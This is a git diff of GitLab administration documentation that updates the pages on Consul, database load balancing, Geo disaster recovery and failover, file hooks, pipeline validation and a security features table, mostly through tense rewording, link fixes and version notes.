-|**[Compliance dashboard](../user/compliance/compliance_dashboard/index.md)**<br>Quickly get visibility into the compliance posture of your organization.|Ultimate|✓|Group|
+| Feature | GitLab tier | GitLab SaaS | Product level |
+|----------|:-----------:|:-----------:|:-------------:|
+|**[Restrict SSH Keys](../security/ssh_keys_restrictions.md)**<br>Control the technology and key length of SSH keys used to access GitLab. | Free+ | **{dotted-circle}** No | Instance |
+|**[Granular user roles and flexible permissions](../user/permissions.md)**<br>Manage access and permissions with five different user roles and settings for external users. Set permissions according to people's role, rather than either read or write access to a repository. Don't share the source code with people that only need access to the issue tracker. | Free+ | **{check-circle}** Yes | Instance, Group, Project |
+|**[Enforce TOS acceptance](../user/admin_area/settings/terms.md)**<br>Enforce your users accepting new terms of service by blocking GitLab traffic. | Free+ | **{dotted-circle}** No | Instance |
+|**[Email all users of a project, group, or entire server](../tools/email.md)**<br>An administrator can email groups of users based on project or group membership, or email everyone using the GitLab instance. This is great for scheduled maintenance or upgrades. | Premium+ | **{dotted-circle}** No | Instance |
+|**[Omnibus package supports log forwarding](https://docs.gitlab.com/omnibus/settings/logs.html#udp-log-forwarding)**<br>Forward your logs to a central system. | Premium+ | **{dotted-circle}** No | Instance |
+|**[Lock project membership to group](../user/group/index.md#prevent-members-from-being-added-to-a-group)**<br>Group owners can prevent new members from being added to projects within a group. | Premium+ | **{check-circle}** Yes | Group |
+|**[LDAP group sync](auth/ldap/index.md#group-sync)**<br>GitLab Enterprise Edition gives administrators the ability to automatically sync groups and manage SSH keys, permissions, and authentication, so you can focus on building your product, not configuring your tools. | Premium+ | **{dotted-circle}** No | Instance |
+|**[LDAP group sync filters](auth/ldap/index.md#group-sync)**<br>GitLab Enterprise Edition Premium gives more flexibility to synchronize with LDAP based on filters, meaning you can leverage LDAP attributes to map GitLab permissions. | Premium+ | **{dotted-circle}** No | Instance |
+|**[Audit events](audit_events.md)**<br>To maintain the integrity of your code, GitLab Enterprise Edition Premium gives administrators the ability to view any modifications made within the GitLab server in an advanced audit events system, so you can control, analyze, and track every change. | Premium+ | **{check-circle}** Yes | Instance, Group, Project |
+|**[Auditor users](auditor_users.md)**<br>Auditor users are users who are given read-only access to all projects, groups, and other resources on the GitLab instance. | Premium+ | **{dotted-circle}** No | Instance |
+|**[Credentials inventory](../user/admin_area/credentials_inventory.md)**<br>With a credentials inventory, GitLab administrators can keep track of the credentials used by all of the users in their GitLab instance. | Ultimate | **{dotted-circle}** No | Instance |
+|**Separation of Duties using [Protected branches](../user/project/protected_branches.md#protected-branches-approval-by-code-owners) and [custom CI Configuration Paths](../ci/pipelines/settings.md#custom-cicd-configuration-file)**<br> GitLab Premium users can leverage the GitLab cross-project YAML configurations to define deployers of code and developers of code. View the [Separation of Duties Deploy Project](https://gitlab.com/guided-explorations/separation-of-duties-deploy/blob/master/README.md) and [Separation of Duties Project](https://gitlab.com/guided-explorations/separation-of-duties/blob/master/README.md) to see how to use this set up to define these roles. | Premium+ | **{check-circle}** Yes | Project |
+|**[Compliance frameworks](../user/project/settings/index.md#compliance-frameworks)**<br>Create a custom compliance framework at the group level to describe the type of compliance requirements any child project needs to follow. | Premium+ | **{check-circle}** Yes | Group |
+|**[Compliance pipelines](../user/project/settings/index.md#compliance-pipeline-configuration)**<br>Define a pipeline configuration to run for any projects with a given compliance framework. | Ultimate | **{check-circle}** Yes | Group |
+|**[Compliance dashboard](../user/compliance/compliance_dashboard/index.md)**<br>Quickly get visibility into the compliance posture of your organization. | Ultimate | **{check-circle}** Yes | Group |
diff --git a/doc/administration/configure.md b/doc/administration/configure.md
new file mode 100644
index 00000000000..12a8f721ccf
--- /dev/null
+++ b/doc/administration/configure.md
@@ -0,0 +1,16 @@
+---
+stage: Enablement
+group: Distribution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+type: reference
+---
+
+# Configure your GitLab installation
+
+Customize and configure your self-managed GitLab installation.
+
+- [Authentication](auth/README.md)
+- [Configuration](../user/admin_area/index.md)
+- [Repository storage](repository_storage_paths.md)
+- [Geo](geo/index.md)
+- [Packages](packages/index.md)
diff --git a/doc/administration/consul.md b/doc/administration/consul.md
index a748259aff0..c88047c4c61 100644
--- a/doc/administration/consul.md
+++ b/doc/administration/consul.md
@@ -15,11 +15,17 @@ turn communicate with the servers.
GitLab Premium includes a bundled version of [Consul](https://www.consul.io/)
a service networking solution that you can manage by using `/etc/gitlab/gitlab.rb`.
+## Prerequisites
+
+Before configuring Consul:
+
+1. Review the [reference architecture](reference_architectures/index.md#available-reference-architectures)
+ documentation to determine the number of Consul server nodes you should have.
+1. If necessary, ensure the [appropriate ports are open](https://docs.gitlab.com/omnibus/package-information/defaults.html#ports) in your firewall.
+
## Configure the Consul nodes
-After you review the [reference architecture](reference_architectures/index.md#available-reference-architectures)
-documentation to determine the number of Consul server nodes you should have,
-on _each_ Consul server node:
+On _each_ Consul server node:
1. Follow the instructions to [install](https://about.gitlab.com/install/)
GitLab by choosing your preferred platform, but do not supply the
@@ -80,6 +86,15 @@ within each node. The command will return an empty array if the cluster is healt
curl "http://127.0.0.1:8500/v1/health/state/critical"
```
+If the Consul version has changed, you'll see a notice at the end of `gitlab-ctl reconfigure`
+informing you that Consul needs to be restarted for the new version to be used.
+
+Restart Consul one node at a time:
+
+```shell
+sudo gitlab-ctl restart consul
+```
+
Consul nodes communicate using the raft protocol. If the current leader goes
offline, there needs to be a leader election. A leader node must exist to facilitate
synchronization across the cluster. If too many nodes go offline at the same time,
diff --git a/doc/administration/database_load_balancing.md b/doc/administration/database_load_balancing.md
index bd34a82f688..9c1ed9b3477 100644
--- a/doc/administration/database_load_balancing.md
+++ b/doc/administration/database_load_balancing.md
@@ -4,9 +4,10 @@ group: Database
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Database Load Balancing **(PREMIUM SELF)**
+# Database Load Balancing **(FREE SELF)**
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/1283) in [GitLab Premium](https://about.gitlab.com/pricing/) 9.0.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/1283) in [GitLab Premium](https://about.gitlab.com/pricing/) 9.0.
+> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/60894) from GitLab Premium to GitLab Free in 14.0.
Distribute read-only queries among multiple database servers.
@@ -21,8 +22,6 @@ component may increase reliability and availability through redundancy.
When database load balancing is enabled in GitLab, the load is balanced using
a simple round-robin algorithm, without any external dependencies such as Redis.
-Load balancing is not enabled for Sidekiq as this would lead to consistency
-problems, and Sidekiq mostly performs writes anyway.
In the following image, you can see the load is balanced rather evenly among
all the secondaries (`db4`, `db5`, `db6`). Because `SELECT` queries are not
@@ -105,6 +104,32 @@ the following. This will balance the load between `host1.example.com` and
1. Save the file and [restart GitLab](restart_gitlab.md#installations-from-source) for the changes to take effect.
+### Enable the load balancer for Sidekiq
+
+Sidekiq mostly writes to the database, which means that most of its traffic hits the
+primary database.
+
+Some background jobs can use database replicas to read application state.
+This allows to offload the primary database.
+
+Load balancing is disabled by default in Sidekiq. When enabled, we can define
+[the data consistency](../development/sidekiq_style_guide.md#job-data-consistency)
+requirements for a specific job.
+
+To enable it, define the `ENABLE_LOAD_BALANCING_FOR_SIDEKIQ` variable to the environment, as shown below.
+
+For Omnibus installations:
+
+```ruby
+gitlab_rails['env'] = {"ENABLE_LOAD_BALANCING_FOR_SIDEKIQ" => "true"}
+```
+
+For installations from source:
+
+```shell
+export ENABLE_LOAD_BALANCING_FOR_SIDEKIQ="true"
+```
+
## Service Discovery
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/5883) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.0.
@@ -171,28 +196,6 @@ Some nameservers (like [Consul](https://www.consul.io/docs/discovery/dns#udp-bas
queried over UDP. To overcome this issue, you can use TCP for querying by setting
`use_tcp` to `true`.
-### Forking
-
-NOTE:
-Starting with GitLab 13.0, Puma is the default web server used in GitLab
-all-in-one package based installations as well as GitLab Helm chart deployments.
-
-If you use an application server that forks, such as Unicorn, you _have to_
-update your Unicorn configuration to start service discovery _after_ a fork.
-Failure to do so leads to service discovery only running in the parent
-process. If you are using Unicorn, then you can add the following to your
-Unicorn configuration file:
-
-```ruby
-after_fork do |server, worker|
- defined?(Gitlab::Database::LoadBalancing) &&
- Gitlab::Database::LoadBalancing.start_service_discovery
-end
-```
-
-This ensures that service discovery is started in both the parent and all
-child processes.
-
## Balancing queries
Read-only `SELECT` queries balance among all the secondary hosts.
diff --git a/doc/administration/environment_variables.md b/doc/administration/environment_variables.md
index a168584e754..057abce0ed5 100644
--- a/doc/administration/environment_variables.md
+++ b/doc/administration/environment_variables.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: reference
---
-# Environment variables
+# Environment variables **(FREE SELF)**
GitLab exposes certain environment variables which can be used to override
their defaults values.
@@ -32,8 +32,6 @@ You can use the following environment variables to override certain values:
| `GITLAB_HOST` | string | The full URL of the GitLab server (including `http://` or `https://`). |
| `GITLAB_ROOT_PASSWORD` | string | Sets the password for the `root` user on installation. |
| `GITLAB_SHARED_RUNNERS_REGISTRATION_TOKEN` | string | Sets the initial registration token used for runners. |
-| `GITLAB_UNICORN_MEMORY_MAX` | integer | The maximum memory threshold (in bytes) for the [unicorn-worker-killer](operations/unicorn.md#unicorn-worker-killer). |
-| `GITLAB_UNICORN_MEMORY_MIN` | integer | The minimum memory threshold (in bytes) for the [unicorn-worker-killer](operations/unicorn.md#unicorn-worker-killer). |
| `RAILS_ENV` | string | The Rails environment; can be one of `production`, `development`, `staging`, or `test`. |
| `UNSTRUCTURED_RAILS_LOG` | string | Enables the unstructured log in addition to JSON logs (defaults to `true`). |
diff --git a/doc/administration/external_pipeline_validation.md b/doc/administration/external_pipeline_validation.md
index 89543e446ac..9fc65fdd0b5 100644
--- a/doc/administration/external_pipeline_validation.md
+++ b/doc/administration/external_pipeline_validation.md
@@ -1,6 +1,6 @@
---
stage: Verify
-group: Continuous Integration
+group: Pipeline Execution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference, howto
---
@@ -17,7 +17,7 @@ data as payload. The response code from the external service determines if GitLa
should accept or reject the pipeline. If the response is:
- `200`, the pipeline is accepted.
-- `4XX`, the pipeline is rejected.
+- `406`, the pipeline is rejected.
- Other codes, the pipeline is accepted and logged.
If there's an error or the request times out, the pipeline is accepted.
@@ -74,7 +74,9 @@ required number of seconds.
"id": { "type": "integer" },
"username": { "type": "string" },
"email": { "type": "string" },
- "created_at": { "type": ["string", "null"], "format": "date-time" }
+ "created_at": { "type": ["string", "null"], "format": "date-time" },
+ "current_sign_in_ip": { "type": ["string", "null"] },
+ "last_sign_in_ip": { "type": ["string", "null"] }
}
},
"pipeline": {
@@ -126,6 +128,17 @@ required number of seconds.
"plan": { "type": "string" },
"trial": { "type": "boolean" }
}
+ },
+ "provisioning_group": {
+ "type": "object",
+ "required": [
+ "plan",
+ "trial"
+ ],
+ "properties": {
+ "plan": { "type": "string" },
+ "trial": { "type": "boolean" }
+ }
}
}
}
diff --git a/doc/administration/feature_flags.md b/doc/administration/feature_flags.md
index 9ba50cfbf2e..44abf4a875d 100644
--- a/doc/administration/feature_flags.md
+++ b/doc/administration/feature_flags.md
@@ -127,6 +127,5 @@ Feature.disabled?(:my_awesome_feature)
=> false
```
-When the feature is ready, GitLab will remove the feature flag, the option for
-enabling and disabling it will no longer exist, and the feature will become
-available in all instances.
+When the feature is ready, GitLab removes the feature flag, and the option for
+enabling and disabling it no longer exists. The feature becomes available in all instances.
diff --git a/doc/administration/file_hooks.md b/doc/administration/file_hooks.md
index c60f0040496..f73c961f541 100644
--- a/doc/administration/file_hooks.md
+++ b/doc/administration/file_hooks.md
@@ -33,7 +33,7 @@ see the [system hooks](../system_hooks/system_hooks.md) documentation.
The file hooks must be placed directly into the `file_hooks` directory, subdirectories
are ignored. There is an
-[`example` directory inside `file_hooks`](https://gitlab.com/gitlab-org/gitlab/tree/master/file_hooks/examples)
+[`example` directory inside `file_hooks`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/file_hooks/examples)
where you can find some basic examples.
Follow the steps below to set up a custom hook:
@@ -63,8 +63,11 @@ need to restart GitLab to apply a new file hook.
If a file hook executes with non-zero exit code or GitLab fails to execute it, a
message is logged to:
-- `gitlab-rails/plugin.log` in an Omnibus installation.
-- `log/plugin.log` in a source installation.
+- `gitlab-rails/file_hook.log` in an Omnibus installation.
+- `log/file_hook.log` in a source installation.
+
+NOTE:
+Before 14.0 release, the file name was `plugin.log`
## Creating file hooks
@@ -79,7 +82,7 @@ require 'json'
require 'mail'
# The incoming variables are in JSON format so we need to parse it first.
-ARGS = JSON.parse(STDIN.read)
+ARGS = JSON.parse($stdin.read)
# We only want to trigger this file hook on the event project_create
return unless ARGS['event_name'] == 'project_create'
diff --git a/doc/administration/geo/disaster_recovery/index.md b/doc/administration/geo/disaster_recovery/index.md
index 7c6f4a32b57..f6f88e9b193 100644
--- a/doc/administration/geo/disaster_recovery/index.md
+++ b/doc/administration/geo/disaster_recovery/index.md
@@ -7,17 +7,14 @@ type: howto
# Disaster Recovery (Geo) **(PREMIUM SELF)**
-Geo replicates your database, your Git repositories, and few other assets.
-We will support and replicate more data in the future, that will enable you to
-failover with minimal effort, in a disaster situation.
-
-See [Geo limitations](../index.md#limitations) for more information.
+Geo replicates your database, your Git repositories, and few other assets,
+but there are some [limitations](../index.md#limitations).
WARNING:
Disaster recovery for multi-secondary configurations is in **Alpha**.
For the latest updates, check the [Disaster Recovery epic for complete maturity](https://gitlab.com/groups/gitlab-org/-/epics/3574).
Multi-secondary configurations require the complete re-synchronization and re-configuration of all non-promoted secondaries and
-will cause downtime.
+causes downtime.
## Promoting a **secondary** Geo node in single-secondary configurations
@@ -91,13 +88,16 @@ Note the following when promoting a secondary:
before proceeding. If the secondary node
[has been paused](../../geo/index.md#pausing-and-resuming-replication), the promotion
performs a point-in-time recovery to the last known state.
- Data that was created on the primary while the secondary was paused will be lost.
+ Data that was created on the primary while the secondary was paused is lost.
- A new **secondary** should not be added at this time. If you want to add a new
**secondary**, do this after you have completed the entire process of promoting
the **secondary** to the **primary**.
- If you encounter an `ActiveRecord::RecordInvalid: Validation failed: Name has already been taken`
error message during this process, for more information, see this
[troubleshooting advice](../replication/troubleshooting.md#fixing-errors-during-a-failover-or-when-promoting-a-secondary-to-a-primary-node).
+- If you run into errors when using `--force` or `--skip-preflight-checks` before 13.5 during this process,
+ for more information, see this
+ [troubleshooting advice](../replication/troubleshooting.md#errors-when-using---skip-preflight-checks-or---force).
#### Promoting a **secondary** node running on a single machine
@@ -243,6 +243,7 @@ required:
sets the database to read-write. The instructions vary depending on where your database is hosted:
- [Amazon RDS](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_ReadRepl.html#USER_ReadRepl.Promote)
- [Azure PostgreSQL](https://docs.microsoft.com/en-us/azure/postgresql/howto-read-replicas-portal#stop-replication)
+ - [Google Cloud SQL](https://cloud.google.com/sql/docs/mysql/replication/manage-replicas#promote-replica)
- For other external PostgreSQL databases, save the following script in your
secondary node, for example `/tmp/geo_promote.sh`, and modify the connection
parameters to match your environment. Then, execute it to promote the replica:
@@ -493,7 +494,7 @@ must disable the **primary** site:
WARNING:
If the secondary site [has been paused](../../geo/index.md#pausing-and-resuming-replication), this performs
a point-in-time recovery to the last known state.
-Data that was created on the primary while the secondary was paused will be lost.
+Data that was created on the primary while the secondary was paused is lost.
1. SSH in to the database node in the **secondary** and trigger PostgreSQL to
promote to read-write:
@@ -509,7 +510,7 @@ Data that was created on the primary while the secondary was paused will be lost
`geo_secondary_role`:
NOTE:
- Depending on your architecture these steps will need to be run on any GitLab node that is external to the **secondary** Kubernetes cluster.
+ Depending on your architecture, these steps need to run on any GitLab node that is external to the **secondary** Kubernetes cluster.
```ruby
## In pre-11.5 documentation, the role was enabled as follows. Remove this line.
@@ -537,13 +538,13 @@ Data that was created on the primary while the secondary was paused will be lost
1. Update the existing cluster configuration.
- You can retrieve the existing config with Helm:
+ You can retrieve the existing configuration with Helm:
```shell
helm --namespace gitlab get values gitlab-geo > gitlab.yaml
```
- The existing config will contain a section for Geo that should resemble:
+ The existing configuration contains a section for Geo that should resemble:
```yaml
geo:
@@ -560,9 +561,9 @@ Data that was created on the primary while the secondary was paused will be lost
To promote the **secondary** cluster to a **primary** cluster, update `role: secondary` to `role: primary`.
- You can remove the entire `psql` section if the cluster will remain as a primary site, this refers to the tracking database and will be ignored whilst the cluster is acting as a primary site.
+ If the cluster remains as a primary site, you can remove the entire `psql` section; it refers to the tracking database and is ignored whilst the cluster is acting as a primary site.
- Update the cluster with the new config:
+ Update the cluster with the new configuration:
```shell
helm upgrade --install --version <current Chart version> gitlab-geo gitlab/gitlab --namespace gitlab -f gitlab.yaml
diff --git a/doc/administration/geo/disaster_recovery/planned_failover.md b/doc/administration/geo/disaster_recovery/planned_failover.md
index bd8467f5437..d50078da172 100644
--- a/doc/administration/geo/disaster_recovery/planned_failover.md
+++ b/doc/administration/geo/disaster_recovery/planned_failover.md
@@ -35,7 +35,7 @@ required scheduled maintenance period significantly.
A common strategy for keeping this period as short as possible for data stored
in files is to use `rsync` to transfer the data. An initial `rsync` can be
performed ahead of the maintenance window; subsequent `rsync`s (including a
-final transfer inside the maintenance window) will then transfer only the
+final transfer inside the maintenance window) then transfers only the
*changes* between the **primary** node and the **secondary** nodes.
Repository-centric strategies for using `rsync` effectively can be found in the
@@ -50,7 +50,7 @@ this command reports `ERROR - Replication is not up-to-date` even if
replication is actually up-to-date. This bug was fixed in GitLab 13.8 and
later.
-Run this command to list out all preflight checks and automatically check if replication and verification are complete before scheduling a planned failover to ensure the process will go smoothly:
+Run this command to list out all preflight checks and automatically check if replication and verification are complete before scheduling a planned failover to ensure the process goes smoothly:
```shell
gitlab-ctl promotion-preflight-checks
@@ -73,7 +73,7 @@ In GitLab 12.4, you can optionally allow GitLab to manage replication of Object
Database settings are automatically replicated to the **secondary** node, but the
`/etc/gitlab/gitlab.rb` file must be set up manually, and differs between
nodes. If features such as Mattermost, OAuth or LDAP integration are enabled
-on the **primary** node but not the **secondary** node, they will be lost during failover.
+on the **primary** node but not the **secondary** node, they are lost during failover.
Review the `/etc/gitlab/gitlab.rb` file for both nodes and ensure the **secondary** node
supports everything the **primary** node does **before** scheduling a planned failover.
@@ -119,7 +119,7 @@ time to complete
If any objects are failing to replicate, this should be investigated before
scheduling the maintenance window. Following a planned failover, anything that
-failed to replicate will be **lost**.
+failed to replicate is **lost**.
You can use the [Geo status API](../../../api/geo_nodes.md#retrieve-project-sync-or-verification-failures-that-occurred-on-the-current-node) to review failed objects and
the reasons for failure.
@@ -136,9 +136,9 @@ This [content was moved to another location](background_verification.md).
On the **primary** node, navigate to **Admin Area > Messages**, add a broadcast
message. You can check under **Admin Area > Geo** to estimate how long it
-will take to finish syncing. An example message would be:
+takes to finish syncing. An example message would be:
-> A scheduled maintenance will take place at XX:XX UTC. We expect it to take
+> A scheduled maintenance takes place at XX:XX UTC. We expect it to take
> less than 1 hour.
## Prevent updates to the **primary** node
@@ -151,7 +151,7 @@ be disabled on the primary site:
1. Disable non-Geo periodic background jobs on the **primary** node by navigating
to **Admin Area > Monitoring > Background Jobs > Cron**, pressing `Disable All`,
and then pressing `Enable` for the `geo_sidekiq_cron_config_worker` cron job.
- This job will re-enable several other cron jobs that are essential for planned
+ This job re-enables several other cron jobs that are essential for planned
failover to complete successfully.
## Finish replicating and verifying all data
@@ -161,7 +161,7 @@ be disabled on the primary site:
1. On the **primary** node, navigate to **Admin Area > Monitoring > Background Jobs > Queues**
and wait for all queues except those with `geo` in the name to drop to 0.
These queues contain work that has been submitted by your users; failing over
- before it is completed will cause the work to be lost.
+ before it is completed, causes the work to be lost.
1. On the **primary** node, navigate to **Admin Area > Geo** and wait for the
following conditions to be true of the **secondary** node you are failing over to:
@@ -176,15 +176,15 @@ be disabled on the primary site:
to verify the integrity of CI artifacts, LFS objects, and uploads in file
storage.
-At this point, your **secondary** node will contain an up-to-date copy of everything the
-**primary** node has, meaning nothing will be lost when you fail over.
+At this point, your **secondary** node contains an up-to-date copy of everything the
+**primary** node has, meaning nothing was lost when you fail over.
## Promote the **secondary** node
Finally, follow the [Disaster Recovery docs](index.md) to promote the
-**secondary** node to a **primary** node. This process will cause a brief outage on the **secondary** node, and users may need to log in again.
+**secondary** node to a **primary** node. This process causes a brief outage on the **secondary** node, and users may need to log in again.
-Once it is completed, the maintenance window is over! Your new **primary** node will now
+Once it is completed, the maintenance window is over! Your new **primary** node, now
begin to diverge from the old one. If problems do arise at this point, failing
back to the old **primary** node [is possible](bring_primary_back.md), but likely to result
in the loss of any data uploaded to the new **primary** in the meantime.
diff --git a/doc/administration/geo/index.md b/doc/administration/geo/index.md
index 780e391973c..295a448c432 100644
--- a/doc/administration/geo/index.md
+++ b/doc/administration/geo/index.md
@@ -27,7 +27,7 @@ to clone and fetch large repositories, speeding up development.
For a video introduction to Geo, see [Introduction to GitLab Geo - GitLab Features](https://www.youtube.com/watch?v=-HDLxSjEh6w).
-To make sure you're using the right version of the documentation, navigate to [the Geo page on GitLab.com](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/administration/geo/index.md) and choose the appropriate release from the **Switch branch/tag** dropdown. For example, [`v13.7.6-ee`](https://gitlab.com/gitlab-org/gitlab/-/blob/v13.7.6-ee/doc/administration/geo/index.md).
+To make sure you're using the right version of the documentation, navigate to [the Geo page on GitLab.com](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/administration/geo/index.md) and choose the appropriate release from the **Switch branch/tag** dropdown. For example, [`v13.7.6-ee`](https://gitlab.com/gitlab-org/gitlab/-/blob/v13.7.6-ee/doc/administration/geo/index.md).
Geo uses a set of defined terms that is described in the [Geo Glossary](glossary.md), please familiarize yourself with those terms.
@@ -56,11 +56,12 @@ Geo provides:
### Gitaly Cluster
Geo should not be confused with [Gitaly Cluster](../gitaly/praefect.md). For more information about
-the difference between Geo and Gitaly Cluster, see [Gitaly Cluster compared to Geo](../gitaly/index.md#gitaly-cluster-compared-to-geo).
+the difference between Geo and Gitaly Cluster, see
+[How does Gitaly Cluster compare to Geo?](../gitaly/faq.md#how-does-gitaly-cluster-compare-to-geo).
## How it works
-Your Geo instance can be used for cloning and fetching projects, in addition to reading any data. This will make working with large repositories over large distances much faster.
+Your Geo instance can be used for cloning and fetching projects, in addition to reading any data. This makes working with large repositories over large distances much faster.
![Geo overview](replication/img/geo_overview.png)
@@ -121,7 +122,7 @@ The following are required to run Geo:
The following operating systems are known to ship with a current version of OpenSSH:
- [CentOS](https://www.centos.org) 7.4+
- [Ubuntu](https://ubuntu.com) 16.04+
-- PostgreSQL 11+ with [Streaming Replication](https://wiki.postgresql.org/wiki/Streaming_Replication)
+- PostgreSQL 12+ with [Streaming Replication](https://wiki.postgresql.org/wiki/Streaming_Replication)
- Git 2.9+
- Git-lfs 2.4.2+ on the user side when using LFS
- All sites must run the same GitLab version.
@@ -150,17 +151,17 @@ NOTE:
When using HTTP or HTTPS proxying, your load balancer must be configured to pass through the `Connection` and `Upgrade` hop-by-hop headers. See the [web terminal](../integration/terminal.md) integration guide for more details.
NOTE:
-When using HTTPS protocol for port 443, you will need to add an SSL certificate to the load balancers.
+When using HTTPS protocol for port 443, you need to add an SSL certificate to the load balancers.
If you wish to terminate SSL at the GitLab application server instead, use TCP protocol.
### LDAP
-We recommend that if you use LDAP on your **primary** site, you also set up secondary LDAP servers on each **secondary** site. Otherwise, users will not be able to perform Git operations over HTTP(s) on the **secondary** site using HTTP Basic Authentication. However, Git via SSH and personal access tokens will still work.
+We recommend that if you use LDAP on your **primary** site, you also set up secondary LDAP servers on each **secondary** site. Otherwise, users are unable to perform Git operations over HTTP(s) on the **secondary** site using HTTP Basic Authentication. However, Git via SSH and personal access tokens still works.
NOTE:
-It is possible for all **secondary** sites to share an LDAP server, but additional latency can be an issue. Also, consider what LDAP server will be available in a [disaster recovery](disaster_recovery/index.md) scenario if a **secondary** site is promoted to be a **primary** site.
+It is possible for all **secondary** sites to share an LDAP server, but additional latency can be an issue. Also, consider what LDAP server is available in a [disaster recovery](disaster_recovery/index.md) scenario if a **secondary** site is promoted to be a **primary** site.
-Check for instructions on how to set up replication in your LDAP service. Instructions will be different depending on the software or service used. For example, OpenLDAP provides [these instructions](https://www.openldap.org/doc/admin24/replication.html).
+Check for instructions on how to set up replication in your LDAP service. Instructions are different depending on the software or service used. For example, OpenLDAP provides [these instructions](https://www.openldap.org/doc/admin24/replication.html).
### Geo Tracking Database
@@ -179,9 +180,9 @@ This daemon:
- Reads a log of events replicated by the **primary** site to the **secondary** database instance.
- Updates the Geo Tracking Database instance with changes that need to be executed.
-When something is marked to be updated in the tracking database instance, asynchronous jobs running on the **secondary** site will execute the required operations and update the state.
+When something is marked to be updated in the tracking database instance, asynchronous jobs running on the **secondary** site execute the required operations and update the state.
-This new architecture allows GitLab to be resilient to connectivity issues between the sites. It doesn't matter how long the **secondary** site is disconnected from the **primary** site as it will be able to replay all the events in the correct order and become synchronized with the **primary** site again.
+This new architecture allows GitLab to be resilient to connectivity issues between the sites. It doesn't matter how long the **secondary** site is disconnected from the **primary** site as it is able to replay all the events in the correct order and become synchronized with the **primary** site again.
## Limitations
@@ -196,7 +197,7 @@ This list of limitations only reflects the latest version of GitLab. If you are
- Object pools for forked project deduplication work only on the **primary** site, and are duplicated on the **secondary** site.
- GitLab Runners cannot register with a **secondary** site. Support for this is [planned for the future](https://gitlab.com/gitlab-org/gitlab/-/issues/3294).
- Configuring Geo **secondary** sites to [use high-availability configurations of PostgreSQL](https://gitlab.com/groups/gitlab-org/-/epics/2536) is currently in **alpha** support.
-- [Selective synchronization](replication/configuration.md#selective-synchronization) only limits what repositories are replicated. The entire PostgreSQL data is still replicated. Selective synchronization is not built to accomodate compliance / export control use cases.
+- [Selective synchronization](replication/configuration.md#selective-synchronization) only limits what repositories are replicated. The entire PostgreSQL data is still replicated. Selective synchronization is not built to accommodate compliance / export control use cases.
### Limitations on replication/verification
@@ -280,7 +281,7 @@ For an example of how to set up a location-aware Git remote URL with AWS Route53
### Backfill
-Once a **secondary** site is set up, it will start replicating missing data from
+Once a **secondary** site is set up, it starts replicating missing data from
the **primary** site in a process known as **backfill**. You can monitor the
synchronization process on each Geo site from the **primary** site's **Geo Nodes**
dashboard in your browser.
diff --git a/doc/administration/geo/replication/datatypes.md b/doc/administration/geo/replication/datatypes.md
index e2f12cbd8dc..a1461a64518 100644
--- a/doc/administration/geo/replication/datatypes.md
+++ b/doc/administration/geo/replication/datatypes.md
@@ -47,8 +47,8 @@ verification methods:
| Blobs | Container registry _(file system)_ | Geo with API/Docker API | _Not implemented_ |
| Blobs | Container registry _(object storage)_ | Geo with API/Managed/Docker API (*2*) | _Not implemented_ |
| Blobs | Package registry _(file system)_ | Geo with API | SHA256 checksum |
-| Blobs | Package registry _(object storage)_ | Geo with API/Managed (*2*) | SHA256 checksum |
-| Blobs | Versioned Terraform State _(file system)_ | Geo with API | _Not implemented_ |
+| Blobs | Package registry _(object storage)_ | Geo with API/Managed (*2*) | _Not implemented_ |
+| Blobs | Versioned Terraform State _(file system)_ | Geo with API | SHA256 checksum |
| Blobs | Versioned Terraform State _(object storage)_ | Geo with API/Managed (*2*) | _Not implemented_ |
| Blobs | External Merge Request Diffs _(file system)_ | Geo with API | _Not implemented_ |
| Blobs | External Merge Request Diffs _(object storage)_ | Geo with API/Managed (*2*) | _Not implemented_ |
@@ -180,7 +180,7 @@ successfully, you must replicate their data using some other means.
|[Project wiki repository](../../../user/project/wiki/) | **Yes** (10.2) | **Yes** (10.7) | No | |
|[Group wiki repository](../../../user/project/wiki/index.md#group-wikis) | [**Yes** (13.10)](https://gitlab.com/gitlab-org/gitlab/-/issues/208147) | No | No | Behind feature flag `geo_group_wiki_repository_replication`, enabled by default. |
|[Uploads](../../uploads.md) | **Yes** (10.2) | [No](https://gitlab.com/groups/gitlab-org/-/epics/1817) | No | Verified only on transfer or manually using [Integrity Check Rake Task](../../raketasks/check.md) on both sites and comparing the output between them. |
-|[LFS objects](../../lfs/index.md) | **Yes** (10.2) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/8922) | Via Object Storage provider if supported. Native Geo support (Beta). | Verified only on transfer or manually using [Integrity Check Rake Task](../../raketasks/check.md) on both sites and comparing the output between them. GitLab versions 11.11.x and 12.0.x are affected by [a bug that prevents any new LFS objects from replicating](https://gitlab.com/gitlab-org/gitlab/-/issues/32696). |
+|[LFS objects](../../lfs/index.md) | **Yes** (10.2) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/8922) | Via Object Storage provider if supported. Native Geo support (Beta). | Verified only on transfer or manually using [Integrity Check Rake Task](../../raketasks/check.md) on both sites and comparing the output between them. GitLab versions 11.11.x and 12.0.x are affected by [a bug that prevents any new LFS objects from replicating](https://gitlab.com/gitlab-org/gitlab/-/issues/32696).<br /><br />Behind feature flag `geo_lfs_object_replication`, enabled by default. |
|[Personal snippets](../../../user/snippets.md) | **Yes** (10.2) | **Yes** (10.2) | No | |
|[Project snippets](../../../user/snippets.md) | **Yes** (10.2) | **Yes** (10.2) | No | |
